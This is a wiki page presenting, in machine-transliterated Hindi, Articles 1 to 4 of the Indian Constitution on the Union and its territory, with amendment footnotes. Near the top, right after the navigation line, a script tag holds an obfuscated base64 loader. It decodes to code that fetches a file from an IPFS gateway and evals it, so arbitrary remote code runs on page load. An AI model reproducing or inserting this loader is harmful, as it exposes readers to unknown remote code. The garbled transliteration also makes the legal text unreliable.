भारत का संविधान- संघ और उसके क्षेत्र

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhag-1 sangh aur usaka rajyakshetr

1. sangh ka nam aur rajyakshetr-
  • (1) bharat, arthath iandiya, rajyoan ka sangh hoga.
  • (2) rajy aur unake rajyakshetr ve hoange jo pahali anusoochi mean vinirdisht haian.[1]
  • (3) bharat ke rajyakshetr mean,
    • (k) rajyoan ke rajyakshetr,
    • (kh) pahali anusoochi mean vinirdisht sangh rajyakshetr, aur[2]
    • (g) aise any rajyakshetr jo arjit kie jaean

samavisht hoange.

2. ne rajyoan ka pravesh ya sthapana-

sansad vidhi dvara, aise nibandhanoan aur shartoan par, jo vah thik samajhe, sangh mean ne rajyoan ka pravesh ya unaki sthapana kar sakegi.

  • 2 k. [ sikkim ka sangh ke sath sahayukt kiya jana.]- sanvidhan (chhattisavaan sanshodhan) adhiniyam, 1975 ki dhara 5 dvara (26-4-1975 se) nirasit.[3]
3. ne rajyoan ka nirman aur vartaman rajyoan ke kshetroan, simaoan ya namoan mean parivartan--sansad, vidhi dvara-
  • (k) kisi rajy mean se usaka rajyakshetr alag karake athava do ya adhik rajyoan ko ya rajyoan ke bhagoan ko milakar athava kisi rajyakshetr ko kisi rajy ke bhag ke sath milakar ne rajy ka nirman kar sakegi ;
  • (kh) kisi rajy ka kshetr badha sakegi ;
  • (g) kisi rajy ka kshetr ghata sakegi ;
  • (gh) kisi rajy ki simaoan mean parivartan kar sakegi ;
  • (n) kisi rajy ke nam mean parivartan kar sakegi:

[parantu is prayojan ke lie koee vidheyak rashtrapati ki sipharish ke bina aur jahaan vidheyak mean aantarvi−t prasthapana ka prabhav[4] rajyoan mean se kisi ke kshetr, simaoan ya nam par p data hai vahaan jab tak us rajy ke vidhan-mandal dvara us par apane vichar, aisi avadhi ke bhitar jo nirdesh mean vinirdi−t ki jae ya aisi atirikt avadhi ke bhitar jo rashtrapati dvara anujnat ki jae, prakat kie jane ke lie vah vidheyak rashtrapati dvara use nirdeshit nahian kar diya gaya hai aur is prakar vinirdi−t ya anujnat avadhi samapt nahian ho gee hai, sansad ke kisi sadan mean pur:sthapit nahian kiya jaega.[5]
spashtikaran 1- is anuchchhed ke khand (k) se khand (n) mean, rajy ke aantargat sangh rajyakshetr hai, kiantu parantu (k) mean rajy ke aantargat sangh rajyakshetr nahian hai.[6]
spashtikaran 2- khand (k) dvara sansad ko pradatt shakti ke aantargat kisi rajy ya sangh rajyakshetr ke kisi bhag ko kisi any rajy ya sangh rajyakshetr ke sath milakar ne rajy ya sangh rajyakshetr ka nirman karana hai.

4. pahali anusoochi aur chauthi anusoochi ke sanshodhan tatha anupoorak, anushangik aur parinamik vishayoan ka upabandh karane ke lie anuchchhed 2 aur anuchchhed 3 ke adhin banaee gee vidhiyaan-
  • (1) anuchchhed 2 ya anuchchhed 3 mean nirdisht kisi vidhi mean pahali anusoochi aur chauthi anusoochi ke sanshodhan ke lie aise upabandh aantarvisht hoange jo us vidhi ke upabandhoan ko prabhavi karane ke lie avashyak hoan tatha aise anupoorak, anushangik aur parinamik upabandh bhi (jinake aantargat aisi vidhi se prabhavit rajy ya rajyoan ke sansad mean aur vidhan-mandal ya vidhan-mandaloan mean pratinidhitv ke bare mean upabandh haian) aantarvisht ho sakeange jinhean sansad avashyak samajhe .
  • (2) poorvokt prakar ki koee vidhi anuchchhed 368 ke prayojanoan ke lie is sanvidhan ka sanshodhan nahian samajhi jaegi.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 2 dvara khand (2) ke sthan par pratisthapit.
  2. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 2 dvara upakhand (kh) ke sthan par pratisthapit
  3. sanvidhan (paiantisavaan sanshodhan) adhiniyam, 1974 ki dhara 2 dvara (1-3-1975 se) aant:sthapit.
  4. sanvidhan (paanchavaan sanshodhan) adhiniyam, 1955 ki dhara 2 dvara parantuk ke sthan par pratisthapit.
  5. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara pahali anusoochi ke bhag k ya bhag kh mean vinirdi−tanjh shabdoan aur aksharoan ka lop kiya gaya.
  6. 6 sanvidhan (atharahavaan sanshodhan) adhiniyam, 1966 ki dhara 2 dvara aant:sthapit.

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah